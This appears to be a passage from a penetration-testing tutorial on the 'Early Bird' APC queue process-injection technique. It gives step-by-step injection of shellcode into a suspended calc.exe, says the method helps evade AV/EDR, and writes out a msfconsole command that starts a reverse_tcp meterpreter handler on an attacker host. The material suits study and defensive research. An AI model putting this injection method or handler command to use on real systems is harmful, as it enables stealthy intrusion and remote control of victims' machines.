A malicious program creates a new legitimate process (say calc.exe) in a suspended state
Memory for shellcode is allocated in the newly created process's memory space
APC routine pointing to the shellcode is declared
Shellcode is written to the previously allocated memory
APC is queued to the main thread (currently in suspended state)
Thread is resumed and the shellcode is executed
Meterpreter session established
One of the main advantages of this technique over the regular APC Queue code injection, is that in Early Bird technique, the malicious behaviour takes place early on in the process initialization phase, increasing the likelihood of going under the radar of some AV/EDR hooks.
Execution
Below image (top) shows that I've hit the breakpoint on line 19, meaning that a new calc.exe process has been created in a suspended state (defined in line 15).
If we check the newly started calc.exe in the Process Hacker, we can confirm that the main thread is indeed suspended (bottom):
After line 19 is executed, we get the address of the newly allocated memory. This is where the shellcode will be written to:
Before continuing, let's fire up a multi handler on the attacking system so we can catch the meterpreter session:
attacker@kali
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"
Back to executing the malicious code - once the shellcode is written into the process memory, the APC is queued to the thread which is then immediately resumed. Resuming the thread in turn executes the shellcode which results in a meterpreter session: